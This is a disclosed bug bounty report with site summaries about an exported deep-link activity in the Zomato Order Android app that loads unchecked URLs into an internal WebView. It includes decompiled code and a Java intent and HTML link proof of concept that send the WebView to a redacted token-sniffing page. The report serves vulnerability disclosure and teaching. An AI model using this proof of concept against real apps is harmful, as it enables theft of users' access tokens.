[Zomato Order] Insecure deeplink leads to sensitive information disclosure
An exported deep-link handler activity accepted a URL parameter and loaded it into an internal WebView without validating the host, so a malicious app or link could open arbitrary sites inside the app. The reporter claims this could leak access tokens to attacker-controlled sites and enable XSS in the internal WebView.
Originally disclosed on HackerOne
- Triaged in 7 hours
- Fixed in 45 days
- Paid in 2 days
- Disclosed after 2.5 years
Hello, i want to report the vulnerability found,
Since the following activity com.application.zomato.activities.DeepLinkRouter has exported="true" it can be exploited by another application.
###Application Information
Application: Zomato Order - Food Delivery App
Package Name: com.application.zomato.ordering
Version: 5.6.4
Version Status: Last
Vulnerable class: com.application.zomato.activities.DeepLinkRouter
###Vulnerability
Using a special intent, you can send the access tokens to a malicious site.
Follow the code
public class com.application.zomato.activities.DeepLinkRouter extends BaseAppCompactActivity {
public void onCreate(Bundle arg4) {
super.onCreate(arg4);
this.setContentView(0x7F0B04D2);
if((TextUtils.isEmpty(this.c)) && this.getIntent() != null && this.getIntent().getAction() != null && ("android.intent.action.VIEW".equals(this.getIntent().getAction()))) {
this.c = this.getIntent().getData().toString();
}
this.e(this.c);// getting zomatodelivery://etc URL
//..
private void e(String arg11) {
v0 = Uri.parse(arg11);
if(!"zomato".equals(v0.getScheme()) && !"zomatodelivery".equals(v0.getScheme())) {
return;
}
v1 = v0.getHost();
if("zloyaltywebview".equals(v1)) {
if(TextUtils.isEmpty(v0.getQueryParameter("url"))) {
goto label_1496;
}
if(v0.getQueryParameter("navigation_bar_type") != null) {
if(!v0.getQueryParameter("navigation_bar_type").equalsIgnoreCase("transparent")) {
}
else {
this.a(v0);//without check host
goto label_1496;
}
}
this.g(v0);//with check host
goto label_1496;
//..
private void a(Uri arg4) {
String v0 = arg4.getQueryParameter("header_title");
String v4 = arg4.getQueryParameter("url") != null ? arg4.getQueryParameter("url") : "";
this.a(new Intent[]{WebViewActivity.newIntent(((Context)this), v4, v0, false)});//loadUrl
}
Host check missing. ###PoC: Java PoC:
Intent intent = new Intent("android.intent.action.VIEW");
intent.setData(Uri.parse("zomatodelivery://zloyaltywebview/?url=██████████sniffer.php&navigation_bar_type=transparent"));
startActivity(intent);
Payload: ████████ ███████
HTML PoC:
<a href="zomatodelivery://zloyaltywebview/?url=████sniffer.php&navigation_bar_type=transparent">Send token Zomato</a>
████ Payload: █████████zomato.html
###Fix Check the host before load to WebView, your regular check in CommonLib works fine.
Impact
- Leakage of access tokens to arbitrary sites
- XSS/Ability of open arbitrary sites in your internal WebView
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the deep-link router passed the url query parameter straight into a WebView without validating the host, because the transparent navigation-bar branch skipped the host check used elsewhere.
Impact
The reporter claims access tokens could leak to arbitrary sites and that arbitrary sites or XSS could run inside the app's internal WebView.
What the attacker needed
Malicious app installed or link opened; victim has the Zomato Order app
The fix
The host should be checked before loading the URL into the WebView, as the app already does in its shared library.
How it was found
- Build an intent with the VIEW action and a crafted zomatodelivery:// deep link containing a url parameter and a transparent navigation bar type.
- Start the activity so the exported DeepLinkRouter receives the intent.
- The router parses the URI and, on the transparent branch, loads the supplied URL into the internal WebView without a host check.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Android apps can register links (deep links) that other apps or web pages can open. This app had a screen that took a web address from the link and displayed it inside the app without checking where it pointed. That meant someone could make the app show their own page, and the reporter says login tokens could end up being sent there.
What is Mobile?
Flaws specific to Android and iOS apps: exported components, deep links, WebViews and data left on the device.